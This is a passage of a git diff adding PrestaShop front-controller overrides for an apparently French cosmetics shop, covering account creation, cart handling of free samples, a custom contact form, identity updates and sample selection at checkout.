$firstnameAddress; + $address->id_customer = 1; + $this->errors = array_unique(array_merge($this->errors, $address->validateController())); + + // US customer: normalize the address + if ($address->id_country == Country::getByIso('US')) + { + include_once(_PS_TAASC_PATH_.'AddressStandardizationSolution.php'); + $normalize = new AddressStandardizationSolution; + $address->address1 = $normalize->AddressLineStandardization($address->address1); + $address->address2 = $normalize->AddressLineStandardization($address->address2); + } + + if (!($country = new Country($address->id_country)) || !Validate::isLoadedObject($country)) + $this->errors[] = Tools::displayError('Country cannot be loaded with address->id_country'); + $postcode = Tools::getValue('postcode'); + /* Check zip code format */ + if ($country->zip_code_format && !$country->checkZipCode($postcode)) + $this->errors[] = sprintf(Tools::displayError('The Zip/Postal code you\'ve entered is invalid. It must follow this format: %s'), str_replace('C', $country->iso_code, str_replace('N', '0', str_replace('L', 'A', $country->zip_code_format)))); + elseif(empty($postcode) && $country->need_zip_code) + $this->errors[] = Tools::displayError('A Zip / Postal code is required.'); + elseif ($postcode && !Validate::isPostCode($postcode)) + $this->errors[] = Tools::displayError('The Zip / Postal code is invalid.'); + + if ($country->need_identification_number && (!Tools::getValue('dni') || !Validate::isDniLite(Tools::getValue('dni')))) + $this->errors[] = Tools::displayError('The identification number is incorrect or has already been used.'); + elseif (!$country->need_identification_number) + $address->dni = null; + } + + if (!@checkdate(Tools::getValue('months'), Tools::getValue('days'), Tools::getValue('years')) && !(Tools::getValue('months') == '' && Tools::getValue('days') == '' && Tools::getValue('years') == '')) + $this->errors[] = Tools::displayError('Invalid date of birth'); + + if (!count($this->errors)) + { + if (Customer::customerExists(Tools::getValue('email'))) + $this->errors[] = Tools::displayError('An account using this email address has already been registered. Please enter a valid password or request a new one. ', false); + if (Tools::isSubmit('newsletter')) + $this->processCustomerNewsletter($customer); + + $customer->birthday = (empty($_POST['years']) ? '' : (int)$_POST['years'].'-'.(int)$_POST['months'].'-'.(int)$_POST['days']); + if (!Validate::isBirthDate($customer->birthday)) + $this->errors[] = Tools::displayError('Invalid date of birth'); + + if (!count($this->errors)) + { + // if registration type is in one step, we save the address + if (Configuration::get('PS_REGISTRATION_PROCESS_TYPE') || Tools::isSubmit('submitGuestAccount')) + if (!($country = new Country($address->id_country, Configuration::get('PS_LANG_DEFAULT'))) || !Validate::isLoadedObject($country)) + die(Tools::displayError()); + $contains_state = isset($country) && is_object($country) ? (int)$country->contains_states: 0; + $id_state = isset($address) && is_object($address) ? (int)$address->id_state: 0; + if (Configuration::get('PS_REGISTRATION_PROCESS_TYPE') && $contains_state && !$id_state) + $this->errors[] = Tools::displayError('This country requires you to chose a State.'); + else + { + $customer->active = 1; + // New Guest customer + if (Tools::isSubmit('is_new_customer')) + $customer->is_guest = !Tools::getValue('is_new_customer', 1); + else + $customer->is_guest = 0; + if (!$customer->add()) + $this->errors[] = Tools::displayError('An error occurred while creating your account..'); + else + { + $address->id_customer = (int)$customer->id; + $this->errors = array_unique(array_merge($this->errors, $address->validateController())); + if (!count($this->errors) && (Configuration::get('PS_REGISTRATION_PROCESS_TYPE') || $this->ajax || Tools::isSubmit('submitGuestAccount')) && !$address->add()) + $this->errors[] = Tools::displayError('An error occurred while creating your address.'); + else + { + if (!$customer->is_guest) + { + $this->context->customer = $customer; + $customer->cleanGroups(); + // we add the guest customer in the default customer group + $customer->addGroups(array((int)Configuration::get('PS_CUSTOMER_GROUP'))); + if (!$this->sendConfirmationMail($customer)) + $this->errors[] = Tools::displayError('The email cannot be sent.'); + } + else + { + $customer->cleanGroups(); + // we add the guest customer in the guest customer group + $customer->addGroups(array((int)Configuration::get('PS_GUEST_GROUP'))); + } + $this->updateContext($customer); + $this->context->cart->id_address_delivery = Address::getFirstCustomerAddressId((int)$customer->id); + $this->context->cart->id_address_invoice = Address::getFirstCustomerAddressId((int)$customer->id); + + // If a logged guest logs in as a customer, the cart secure key was already set and needs to be updated + $this->context->cart->update(); + + // Avoid articles without delivery address on the cart + $this->context->cart->autosetProductAddress(); + + Hook::exec('actionCustomerAccountAdd', array( + '_POST' => $_POST, + 'newCustomer' => $customer + )); + if ($this->ajax) + { + $return = array( + 'hasError' => !empty($this->errors), + 'errors' => $this->errors, + 'isSaved' => true, + 'id_customer' => (int)$this->context->cookie->id_customer, + 'id_address_delivery' => $this->context->cart->id_address_delivery, + 'id_address_invoice' => $this->context->cart->id_address_invoice, + 'token' => Tools::getToken(false) + ); + die(Tools::jsonEncode($return)); + } + // if registration type is in two steps, we redirect to register address + if (!Configuration::get('PS_REGISTRATION_PROCESS_TYPE') && !$this->ajax && !Tools::isSubmit('submitGuestAccount')) + Tools::redirect('index.php?controller=address'); + + if ($back = Tools::getValue('back')) + Tools::redirect(html_entity_decode($back)); + + // redirection: if cart is not empty : redirection to the cart + if (count($this->context->cart->getProducts(true)) > 0) + Tools::redirect('index.php?controller=order&multi-shipping='.(int)Tools::getValue('multi-shipping')); + // else : redirection to the account + else + Tools::redirect('index.php?controller='.(($this->authRedirection !== false) ? url_encode($this->authRedirection) : 'my-account')); + } + } + } + } + } + + if (count($this->errors)) + { + //for retro compatibility to display guest account creation form on authentication page + if (Tools::getValue('submitGuestAccount')) + $_GET['display_guest_checkout'] = 1; + + if (!Tools::getValue('is_new_customer')) + unset($_POST['passwd']); + if ($this->ajax) + { + $return = array( + 'hasError' => !empty($this->errors), + 'errors' => $this->errors, + 'isSaved' => false, + 'id_customer' => 0 + ); + die(Tools::jsonEncode($return)); + } + $this->context->smarty->assign('account_error', $this->errors); + } + } +} diff --git a/override/controllers/front/CartController.php b/override/controllers/front/CartController.php new file mode 100755 index 0000000..1e7bfb3 --- /dev/null +++ b/override/controllers/front/CartController.php @@ -0,0 +1,149 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class CartController extends CartControllerCore +{ + protected function processChangeProductInCart() + { + $mode = (Tools::getIsset('update') && $this->id_product) ? 'update' : 'add'; + + if ($this->qty == 0) + $this->errors[] = Tools::displayError('Null quantity.'); + else if (!$this->id_product) + $this->errors[] = Tools::displayError('Product not found'); + + $product = new Product($this->id_product, true, $this->context->language->id); + if (!$product->id || !$product->active) + { + $this->errors[] = Tools::displayError('This product is no longer available.', false); + return; + } + + // Check product quantity availability + if ($this->id_product_attribute) + { + if (!Product::isAvailableWhenOutOfStock($product->out_of_stock) && !Attribute::checkAttributeQty($this->id_product_attribute, $this->qty)) + $this->errors[] = Tools::displayError('There isn\'t enough product in stock.'); + } + else if ($product->hasAttributes()) + { + $minimumQuantity = ($product->out_of_stock == 2) ? !Configuration::get('PS_ORDER_OUT_OF_STOCK') : !$product->out_of_stock; + $this->id_product_attribute = Product::getDefaultAttribute($product->id, $minimumQuantity); + // @todo do something better than a redirect admin !! + if (!$this->id_product_attribute) + Tools::redirectAdmin($this->context->link->getProductLink($product)); + else if (!Product::isAvailableWhenOutOfStock($product->out_of_stock) && !Attribute::checkAttributeQty($this->id_product_attribute, $this->qty)) + $this->errors[] = Tools::displayError('There isn\'t enough product in stock.'); + } + else if (!$product->checkQty($this->qty)) + $this->errors[] = Tools::displayError('There isn\'t enough product in stock.'); + + // If no errors, process product addition + if (!$this->errors && $mode == 'add') + { + // Add cart if no cart found + if (!$this->context->cart->id) + { + if (Context::getContext()->cookie->id_guest) + { + $guest = new Guest(Context::getContext()->cookie->id_guest); + $this->context->cart->mobile_theme = $guest->mobile_theme; + } + $this->context->cart->add(); + if ($this->context->cart->id) + $this->context->cookie->id_cart = (int)$this->context->cart->id; + } + + // Check customizable fields + if (!$product->hasAllRequiredCustomizableFields() && !$this->customization_id) + $this->errors[] = Tools::displayError('Please fill in all of the required fields, and then save your customizations.'); + + if (!$this->errors) + { + $cart_rules = $this->context->cart->getCartRules(); + $update_quantity = $this->context->cart->updateQty($this->qty, $this->id_product, $this->id_product_attribute, $this->customization_id, Tools::getValue('op', 'up'), $this->id_address_delivery); + + if ($update_quantity < 0) + { + // If product has attribute, minimal quantity is set with minimal quantity of attribute + $minimal_quantity = ($this->id_product_attribute) ? Attribute::getAttributeMinimalQty($this->id_product_attribute) : $product->minimal_quantity; + $this->errors[] = sprintf(Tools::displayError('You must add %d minimum quantity', false), $minimal_quantity); + } + elseif (!$update_quantity) + $this->errors[] = Tools::displayError('You already have the maximum quantity available for this product.', false); + elseif ((int)Tools::getValue('allow_refresh')) + { + // If the cart rules has changed, we need to refresh the whole cart + $cart_rules2 = $this->context->cart->getCartRules(); + if (count($cart_rules2) != count($cart_rules)) + $this->ajax_refresh = true; + else + { + $rule_list = array(); + foreach ($cart_rules2 as $rule) + $rule_list[] = $rule['id_cart_rule']; + foreach ($cart_rules as $rule) + if (!in_array($rule['id_cart_rule'], $rule_list)) + { + $this->ajax_refresh = true; + break; + } + } + } + } + } + + $this->context->cart->checkProductForEchantillon(); + + $removed = CartRule::autoRemoveFromCart(); + CartRule::autoAddToCart(); + if (count($removed) && (int)Tools::getValue('allow_refresh')) + $this->ajax_refresh = true; + } + + /** + * This process delete a product from the cart + */ + protected function processDeleteProductInCart() + { + if ($this->context->cart->deleteProduct($this->id_product, $this->id_product_attribute, $this->customization_id, $this->id_address_delivery)) + { + if (!Cart::getNbProducts((int)($this->context->cart->id))) + { + $this->context->cart->setDeliveryOption(null); + $this->context->cart->gift = 0; + $this->context->cart->gift_message = ''; + $this->context->cart->update(); + } + } + + $this->context->cart->checkProductForEchantillon(); + + $removed = CartRule::autoAddToCart(); + if (count($removed) && (int)Tools::getValue('allow_refresh')) + $this->ajax_refresh = true; + } +} \ No newline at end of file diff --git a/override/controllers/front/CategoryController.php b/override/controllers/front/CategoryController.php new file mode 100755 index 0000000..93c55b6 --- /dev/null +++ b/override/controllers/front/CategoryController.php @@ -0,0 +1,56 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class CategoryController extends CategoryControllerCore +{ + + /** + * Initialize category controller + * @see FrontController::init() + */ + public function init() + { + // Get category ID + $id_category = (int)Tools::getValue('id_category'); + if($id_category==12){ + header('HTTP/1.1 403 Forbidden'); + header('Status: 403 Forbidden'); + $this->errors[] = Tools::displayError('You do not have access to this category.'); + $this->customer_access = false; + } + parent::init(); + } + + public function initContent() + { + parent::initContent(); + $this->context->smarty->assign(array( + + 'body_classes' => array($this->php_self.'-'.$this->category->id, $this->php_self.'-'.$this->category->link_rewrite) + )); + } +} + diff --git a/override/controllers/front/CmsController.php b/override/controllers/front/CmsController.php new file mode 100755 index 0000000..8af8ef8 --- /dev/null +++ b/override/controllers/front/CmsController.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class CmsController extends CmsControllerCore +{ + public function initContent() + { + if(Tools::getValue('id_p')) + $this->context->smarty->assign('id_p', Tools::getValue('id_p')); + parent::initContent(); + + } +} diff --git a/override/controllers/front/ContactController.php b/override/controllers/front/ContactController.php new file mode 100755 index 0000000..e7bbe28 --- /dev/null +++ b/override/controllers/front/ContactController.php @@ -0,0 +1,339 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class ContactController extends ContactControllerCore +{ + + public function postProcess() + { + if (Tools::isSubmit('submitMessage')) + { + + $contact_civilite = Tools::getValue('contact_civilite'); + $contact_tel = Tools::getValue('contact_tel'); + // $contact_newsletter = Tools::getValue('contact_newsletter'); + + $contact_nom = Tools::getValue('contact_nom'); + $contact_prenom = Tools::getValue('contact_prenom'); + $contact_adresse = Tools::getValue('contact_adresse'); + $contact_cp = Tools::getValue('contact_cp'); + $contact_ville = Tools::getValue('contact_ville'); + $contact_pays = Tools::getValue('contact_pays'); + + + $message = Tools::getValue('message'); // Html entities is not usefull, iscleanHtml check there is no bad html tags. + if (!($from = trim(Tools::getValue('from'))) || !Validate::isEmail($from)) + $this->errors[] = Tools::displayError('Invalid email address.'); + else if (!$message) + $this->errors[] = Tools::displayError('The message cannot be blank.'); + + else if (!$contact_nom) + $this->errors[] = Tools::displayError('Merci de saisir votre nom'); + else if (!$contact_prenom) + $this->errors[] = Tools::displayError('Merci de saisir votre prénom'); + else if (!$contact_adresse) + $this->errors[] = Tools::displayError('Merci de saisir votre adresse'); + else if (!$contact_cp) + $this->errors[] = Tools::displayError('Merci de saisir votre code postal'); + else if (!$contact_ville) + $this->errors[] = Tools::displayError('Merci de saisir votre ville'); + else if (!$contact_pays) + $this->errors[] = Tools::displayError('Merci de saisir votre pays'); + + else if (!Validate::isCleanHtml($message)) + $this->errors[] = Tools::displayError('Invalid message'); + else if (!($id_contact = (int)(Tools::getValue('id_contact'))) || !(Validate::isLoadedObject($contact = new Contact($id_contact, $this->context->language->id)))) + $this->errors[] = Tools::displayError('Merci de saisir un sujet dans la liste'); + else + { + + $fullmessage=$contact_civilite." ".$contact_nom." ".$contact_prenom." +
        ".$contact_adresse." +
        ".$contact_cp." ".$contact_ville." +
        ".$contact_pays." +
        Tél : ".$from." +
        Email : ".$contact_tel." +
        +
        ".Tools::htmlentitiesUTF8($message)." + "; + $customer = $this->context->customer; + if (!$customer->id) + $customer->getByEmail($from); + + $contact = new Contact($id_contact, $this->context->language->id); + + if (!(( + ($id_customer_thread = (int)Tools::getValue('id_customer_thread')) + && (int)Db::getInstance()->getValue(' + SELECT cm.id_customer_thread FROM '._DB_PREFIX_.'customer_thread cm + WHERE cm.id_customer_thread = '.(int)$id_customer_thread.' AND cm.id_shop = '.(int)$this->context->shop->id.' AND token = \''.pSQL(Tools::getValue('token')).'\'') + ) || ( + $id_customer_thread = CustomerThread::getIdCustomerThreadByEmailAndIdOrder($from, (int)Tools::getValue('id_order')) + ))) + { + $fields = Db::getInstance()->executeS(' + SELECT cm.id_customer_thread, cm.id_contact, cm.id_customer, cm.id_order, cm.id_product, cm.email + FROM '._DB_PREFIX_.'customer_thread cm + WHERE email = \''.pSQL($from).'\' AND cm.id_shop = '.(int)$this->context->shop->id.' AND ('. + ($customer->id ? 'id_customer = '.(int)($customer->id).' OR ' : '').' + id_order = '.(int)(Tools::getValue('id_order')).')'); + $score = 0; + foreach ($fields as $key => $row) + { + $tmp = 0; + if ((int)$row['id_customer'] && $row['id_customer'] != $customer->id && $row['email'] != $from) + continue; + if ($row['id_order'] != 0 && Tools::getValue('id_order') != $row['id_order']) + continue; + if ($row['email'] == $from) + $tmp += 4; + if ($row['id_contact'] == $id_contact) + $tmp++; + if (Tools::getValue('id_product') != 0 && $row['id_product'] == Tools::getValue('id_product')) + $tmp += 2; + if ($tmp >= 5 && $tmp >= $score) + { + $score = $tmp; + $id_customer_thread = $row['id_customer_thread']; + } + } + } + $old_message = Db::getInstance()->getValue(' + SELECT cm.message FROM '._DB_PREFIX_.'customer_message cm + LEFT JOIN '._DB_PREFIX_.'customer_thread cc on (cm.id_customer_thread = cc.id_customer_thread) + WHERE cc.id_customer_thread = '.(int)($id_customer_thread).' AND cc.id_shop = '.(int)$this->context->shop->id.' + ORDER BY cm.date_add DESC'); + if ($old_message == $fullmessage || $old_message == $message) + { + $this->context->smarty->assign('alreadySent', 1); + $contact->email = ''; + $contact->customer_service = 0; + } + + if ($contact->customer_service) + { + if ((int)$id_customer_thread) + { + $ct = new CustomerThread($id_customer_thread); + $ct->status = 'open'; + $ct->id_lang = (int)$this->context->language->id; + $ct->id_contact = (int)($id_contact); + if ($id_order = (int)Tools::getValue('id_order')) + $ct->id_order = $id_order; + if ($id_product = (int)Tools::getValue('id_product')) + $ct->id_product = $id_product; + $ct->update(); + } + else + { + $ct = new CustomerThread(); + if (isset($customer->id)) + $ct->id_customer = (int)($customer->id); + $ct->id_shop = (int)$this->context->shop->id; + if ($id_order = (int)Tools::getValue('id_order')) + $ct->id_order = $id_order; + if ($id_product = (int)Tools::getValue('id_product')) + $ct->id_product = $id_product; + $ct->id_contact = (int)($id_contact); + $ct->id_lang = (int)$this->context->language->id; + $ct->email = $from; + $ct->status = 'open'; + $ct->token = Tools::passwdGen(12); + $ct->add(); + } + + if ($ct->id) + { + $cm = new CustomerMessage(); + $cm->id_customer_thread = $ct->id; + // $cm->message = Tools::htmlentitiesUTF8($message); + $cm->message = $fullmessage; + // if (isset($filename) && rename($_FILES['fileUpload']['tmp_name'], _PS_MODULE_DIR_.'../upload/'.$filename)) + // $cm->file_name = $filename; + $cm->ip_address = ip2long($_SERVER['REMOTE_ADDR']); + $cm->user_agent = $_SERVER['HTTP_USER_AGENT']; + if (!$cm->add()) + $this->errors[] = Tools::displayError('An error occurred while sending the message.'); + } + else + $this->errors[] = Tools::displayError('An error occurred while sending the message.'); + } + + if (!count($this->errors)) + { + $var_list = array( + '{contact_civilite}' => $contact_civilite, + '{contact_tel}' => $contact_tel, + '{contact_nom}' => $contact_nom, + '{contact_prenom}' => $contact_prenom, + '{contact_adresse}' => $contact_adresse, + '{contact_cp}' => $contact_cp, + '{contact_ville}' => $contact_ville, + '{contact_pays}' => $contact_pays, + + '{order_name}' => '-', + '{attached_file}' => '-', + '{message}' => Tools::nl2br(stripslashes($message)), + '{email}' => $from, + ); + + // if (isset($filename)) + // $var_list['{attached_file}'] = $_FILES['fileUpload']['name']; + + $id_order = (int)Tools::getValue('id_order'); + + if (isset($ct) && Validate::isLoadedObject($ct)) + { + if ($ct->id_order) + $id_order = $ct->id_order; + $subject = sprintf(Mail::l('Votre message a été correctement envoyé'), $ct->id, $ct->token); + } + else + $subject = Mail::l('Votre message a été correctement envoyé'); + + if ($id_order) + { + $order = new Order((int)$id_order); + $var_list['{order_name}'] = $order->getUniqReference(); + $var_list['{id_order}'] = $id_order; + } + + if (empty($contact->email)) + Mail::Send($this->context->language->id, 'contact_form', $subject, $var_list, $from, null, null, null, $fileAttachment); + else + { + if (!Mail::Send($this->context->language->id, 'contact', Mail::l('Le Laboratoire Garancia vous répond'), + $var_list, $contact->email, $contact->name, $from, ($customer->id ? $customer->firstname.' '.$customer->lastname : ''), + $fileAttachment) || + !Mail::Send($this->context->language->id, 'contact_form', $subject, $var_list, $from, null, $contact->email, $contact->name, $fileAttachment)) + $this->errors[] = Tools::displayError('An error occurred while sending the message.'); + } + } + + if (count($this->errors) > 1) + array_unique($this->errors); + else + $this->context->smarty->assign('confirmation', 1); + } + } + } + + public function setMedia() + { + parent::setMedia(); + $this->addCSS(_THEME_CSS_DIR_.'contact-form.css'); + $this->addJS(_THEME_JS_DIR_.'contact-form.js'); + } + public function initContent() + { + $this->assignCountries(); + + parent::initContent(); + + $this->assignOrderList(); + + $email = Tools::safeOutput(Tools::getValue('from', + ((isset($this->context->cookie) && isset($this->context->cookie->email) && Validate::isEmail($this->context->cookie->email)) ? $this->context->cookie->email : ''))); + $this->context->smarty->assign(array( + 'errors' => $this->errors, + 'email' => $email, + 'fileupload' => Configuration::get('PS_CUSTOMER_SERVICE_FILE_UPLOAD') + )); + + + if (($id_customer_thread = (int)Tools::getValue('id_customer_thread')) && $token = Tools::getValue('token')) + { + $customerThread = Db::getInstance()->getRow(' + SELECT cm.* + FROM '._DB_PREFIX_.'customer_thread cm + WHERE cm.id_customer_thread = '.(int)$id_customer_thread.' + AND cm.id_shop = '.(int)$this->context->shop->id.' + AND token = \''.pSQL($token).'\' + '); + $this->context->smarty->assign('customerThread', $customerThread); + } + + $this->context->smarty->assign(array( + 'contacts' => Contact::getContacts($this->context->language->id), + 'message' => html_entity_decode(Tools::getValue('message')) + )); + + + // $countries = Country::getCountries($this->context->language->id, true); + // @todo use helper + // $list = ''; + // $selected_country=8; + // foreach ($countries as $country) + // { + // $selected = ($country['id_country'] == $selected_country) ? 'selected="selected"' : ''; + // $list .= ''; + // } + // $this->context->smarty->assign(array( + // 'countries_list' => $list, + // 'countries' => $countries, + // )); + + $this->setTemplate(_PS_THEME_DIR_.'contact-form.tpl'); + } + protected function assignCountries() + { + // Get selected country + if (Tools::isSubmit('id_country') && !is_null(Tools::getValue('id_country')) && is_numeric(Tools::getValue('id_country'))) + $selected_country = (int)Tools::getValue('id_country'); + else if (isset($this->_address) && isset($this->_address->id_country) && !empty($this->_address->id_country) && is_numeric($this->_address->id_country)) + $selected_country = (int)$this->_address->id_country; + else if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) + { + $array = preg_split('/,|-/', $_SERVER['HTTP_ACCEPT_LANGUAGE']); + if (!Validate::isLanguageIsoCode($array[0]) || !($selected_country = Country::getByIso($array[0]))) + $selected_country = (int)Configuration::get('PS_COUNTRY_DEFAULT'); + } + else + $selected_country = (int)Configuration::get('PS_COUNTRY_DEFAULT'); + + // Generate countries list + if (Configuration::get('PS_RESTRICT_DELIVERED_COUNTRIES')) + $countries = Carrier::getDeliveredCountries($this->context->language->id, true, true); + else + $countries = Country::getCountries($this->context->language->id, true); + + // @todo use helper + $list = ''; + foreach ($countries as $country) + { + $selected = ($country['id_country'] == $selected_country) ? 'selected="selected"' : ''; + $list .= ''; + } + + // Assign vars + $this->context->smarty->assign(array( + 'countries_list' => $list, + 'countries' => $countries, + )); + } + +} + diff --git a/override/controllers/front/IdentityController.php b/override/controllers/front/IdentityController.php new file mode 100755 index 0000000..13fca64 --- /dev/null +++ b/override/controllers/front/IdentityController.php @@ -0,0 +1,119 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class IdentityController extends IdentityControllerCore +{ + /** + * Start forms process + * @see FrontController::postProcess() + */ + public function postProcess() + { + // print_r($this->customer->id); + $origin_newsletter = (bool)$this->customer->newsletter; + + // $this->context->smarty->assign('birthday', $this->customer->birthday); + // if (isset($_POST['years']) && isset($_POST['months']) && isset($_POST['days'])) + // $this->customer->birthday = (int)($_POST['years']).'-'.(int)($_POST['months']).'-'.(int)($_POST['days']); + + if (Tools::isSubmit('submitIdentity')) + { + if (!@checkdate(Tools::getValue('months'), Tools::getValue('days'), Tools::getValue('years')) && + !(Tools::getValue('months') == '' && Tools::getValue('days') == '' && Tools::getValue('years') == '')) + $this->errors[] = Tools::displayError('Invalid date of birth.'); + else + { + $email = trim(Tools::getValue('email')); + $newemail = trim(Tools::getValue('newemail')); + $confirmnewemail = trim(Tools::getValue('confirmnewemail')); + // $this->customer->birthday = (empty($_POST['years']) ? '' : (int)$_POST['years'].'-'.(int)$_POST['months'].'-'.(int)$_POST['days']); + $_POST['old_passwd'] = trim($_POST['old_passwd']); + + + + + + if (!Validate::isEmail($email)) + $this->errors[] = Tools::displayError('This email address is not valid'); + elseif ($this->customer->email != $email && Customer::customerExists($email, true)) + $this->errors[] = Tools::displayError('An account using this email address has already been registered.'); + elseif (empty($_POST['old_passwd']) || (Tools::encrypt($_POST['old_passwd']) != $this->context->cookie->passwd)) + $this->errors[] = Tools::displayError('The password you entered is incorrect.'); + elseif ($_POST['passwd'] != $_POST['confirmation']) + $this->errors[] = Tools::displayError('The password and confirmation do not match.'); + else + { + $prev_id_default_group = $this->customer->id_default_group; + if ($newemail!="" && $confirmnewemail!=""){ + if (!Validate::isEmail($newemail) || !Validate::isEmail($confirmnewemail)) + $this->errors[] = Tools::displayError('This email address is not valid'); + elseif ($this->customer->email != $newemail && Customer::customerExists($newemail, true)) + $this->errors[] = Tools::displayError('An account using this email address has already been registered.'); + else{ + $this->customer->email=$newemail; + $_POST['email']=$newemail; + // echo $newemail; + // die(); + + } + } + // Merge all errors of this file and of the Object Model + $this->errors = array_merge($this->errors, $this->customer->validateController()); + } + + if (!count($this->errors)) + { + $this->customer->id_default_group = (int)$prev_id_default_group; + $this->customer->firstname = Tools::ucfirst(Tools::strtolower($this->customer->firstname)); + + if (!isset($_POST['newsletter'])) + $this->customer->newsletter = 0; + elseif (!$origin_newsletter && isset($_POST['newsletter'])) + if ($module_newsletter = Module::getInstanceByName('blocknewsletter')) + if ($module_newsletter->active) + $module_newsletter->confirmSubscription($this->customer->email); + + // if (!isset($_POST['optin'])) + // $this->customer->optin = 0; + if (Tools::getValue('passwd')) + $this->context->cookie->passwd = $this->customer->passwd; + if ($this->customer->update()) + { + $this->context->cookie->customer_lastname = $this->customer->lastname; + $this->context->cookie->customer_firstname = $this->customer->firstname; + $this->context->smarty->assign('confirmation', 1); + } + else + $this->errors[] = Tools::displayError('The information cannot be updated.'); + } + } + } + else + $_POST = array_map('stripslashes', $this->customer->getFields()); + + return $this->customer; + } +} diff --git a/override/controllers/front/IndexController.php b/override/controllers/front/IndexController.php new file mode 100755 index 0000000..0077361 --- /dev/null +++ b/override/controllers/front/IndexController.php @@ -0,0 +1,56 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class IndexController extends IndexControllerCore +{ + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + // public function canonicalRedirection() + // { + // parent::canonicalRedirection(); + // } + public function initContent() + { + // echo $_SERVER['REQUEST_URI']; + // die(); + // $_SESSION['intro']="test"; + // print_r($_SERVER); + // echo $_SERVER['REMOTE_ADDR']; + // echo "
        ".$_SERVER['REMOTE_ADDR']; + // if(isset($_SESSION['intro']) && $_SESSION['intro']==1){ + // $_SESSION['intro']=0; + if(Tools::getValue('inscription-newsletter')) + $this->context->smarty->assign('click_newsletter', 1); + parent::initContent(); + // }else{ + // $_SESSION['intro']=1; + // header('location: http://www.garancia-beauty.com/intro.html'); + // } + } +} diff --git a/override/controllers/front/OrderController.php b/override/controllers/front/OrderController.php new file mode 100755 index 0000000..9946bc9 --- /dev/null +++ b/override/controllers/front/OrderController.php @@ -0,0 +1,802 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class OrderController extends OrderControllerCore +{ + public function postProcess() + { + // Update carrier selected on preProccess in order to fix a bug of + // block cart when it's hooked on leftcolumn + if(Tools::isSubmit('submitPanier')){ + //si un un echantillon est posté : + + $id_cart=$this->context->cart->id; + //vider les échantillons + $result = Db::getInstance()->execute('delete FROM '._DB_PREFIX_.'cart_product WHERE echantillon=1 and id_cart = '.(int)$id_cart); + + + $id_shop=$this->context->cart->id_shop; + $id_address_delivery=$this->context->cart->id_address_delivery; + $date_add=date('Y\-m\-d H\:i\:s'); + + $echantillons=$_POST['echantillon']; + foreach($echantillons as $id_product){ + // Rajouter les échantillons dans le panier + + $result = Db::getInstance()->execute('insert into '._DB_PREFIX_.'cart_product + (id_shop,id_cart,id_address_delivery,id_product,date_add,echantillon,quantity) + values + ('.(int)$id_shop.','.(int)$id_cart.','.(int)$id_address_delivery.','.(int)$id_product.',\''.$date_add.'\',1,1)'); + } + } + if ((int)(Tools::getValue('gift'))) + { + $this->context->cart->gift = (int)(Tools::getValue('gift')); + } + if (Tools::getValue('message')) + { + $this->context->cart->gift_message = strip_tags($_POST['message']); + // die(); + } + + // if ($this->step == 2 && Tools::isSubmit('processCarrier')) + // if ($this->step == 1 || ($this->step == 2 && Tools::isSubmit('processAddress'))) + $this->processCarrier(); + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + protected function _assignEchantillons(){ + + + if($this->context->cart->isVirtualCart()) + { + $this->context->smarty->assign('virtualCart', true); + return false; + } + else + $this->context->smarty->assign('virtualCart', false); + + $cat_echantillons=new Category(12,(int)$this->context->language->id); + if($echantillons = $cat_echantillons->getProducts($this->context->language->id,0,40,null,null,false,true,false,1,false)) + $this->context->smarty->assign('echantillons', $echantillons); + + $id_cart=$this->context->cart->id; + $echantillons_selected=array(); + if($result = Db::getInstance()->executeS('select id_product FROM '._DB_PREFIX_.'cart_product WHERE echantillon=1 and id_cart = '.(int)$id_cart)){ + foreach($result as $row) + $echantillons_selected[]=$row['id_product']; + } + + + $this->context->smarty->assign('echantillons_selected', $echantillons_selected); + + } + public function initContent() + { + global $isVirtualCart; + + $this->context->smarty->assign('step', Tools::getValue('step',-2)); + + $this->context->cart->checkProductForEchantillon(); + + if (Tools::isSubmit('ajax') && Tools::getValue('method') == 'updateEchantillons') + { + + $id_cart=$this->context->cart->id; + //vider les échantillons + $result = Db::getInstance()->execute('delete FROM '._DB_PREFIX_.'cart_product WHERE echantillon=1 and id_cart = '.(int)$id_cart); + + $id_shop=$this->context->cart->id_shop; + $id_address_delivery=$this->context->cart->id_address_delivery; + $date_add=date('Y\-m\-d H\:i\:s'); + + $echantillons=array_unique(explode('-',pSQL(Tools::getValue('lesEchantillons')))); + + for($i=0;$i
        "; + + $sql='insert into '._DB_PREFIX_.'cart_product + (id_shop,id_cart,id_address_delivery,id_product,date_add,echantillon,quantity) + values + ('.(int)$id_shop.','.(int)$id_cart.','.(int)$id_address_delivery.','.(int)$id_product.',\''.$date_add.'\',1,1)'; + // echo $sql."
